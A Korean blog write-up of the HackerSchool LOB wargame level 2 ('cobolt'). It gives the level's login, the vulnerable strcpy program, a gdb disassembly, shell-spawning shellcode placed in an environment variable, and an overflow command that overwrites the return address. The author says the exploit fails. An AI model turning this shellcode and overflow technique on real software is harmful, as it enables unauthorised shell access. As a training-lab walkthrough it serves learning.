Wargame/해커스쿨 LOB

[HackerSchool LOB] Level 2 문제 풀이

핏디 2021. 7. 17. 14:26
SMALL

[풀이]

id : gremlin

pw : hello bof world

 

주어진 id와 pw로 로그인하니 colbolt 실행파일과 c 코드가 존재했다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

colbolt.c 를 확인하니 level1과 버퍼의 크기를 제외하고 모두 동일하였다.

 

gdb로 main 함수를 확인하니 이전과 동일한 구조이나 버퍼의 크기가 16임을 알 수 있다.

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret
0x804847b <main+75>:    nop
0x804847c <main+76>:    nop
0x804847d <main+77>:    nop
0x804847e <main+78>:    nop
0x804847f <main+79>:    nop
End of assembler dump.
buffer[16]
sfp[4]
ret[4]

 

이전과 동일하게 환경변수를 설정한 뒤 환경 변수에 대한 주소를 구하는 코드를 작성한다.

export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char *ptr;
        ptr = getenv(argv[1]);
        printf("%p\n", ptr);
        return 0;
}

컴파일 후 주소를 확인하면 0xbffffe9c임을 알 수 있다.

 

dummy[20]+shell address 를 통해 exploit 하면 되는데,,, 에러가 난다 왜지?

./cobolt `python -c 'print "a"*20 + "\x9c\xfe\xff\xbf"'`

 

 

 

 

 

 

 

 


[출처]

 

 


 

LIST

'Wargame > 해커스쿨 LOB' 카테고리의 다른 글

[HackerSchool LOB] Level 1 문제 풀이  (0) 2021.07.17
[HackerSchool LOB] Level 0 문제 풀이  (0) 2021.07.17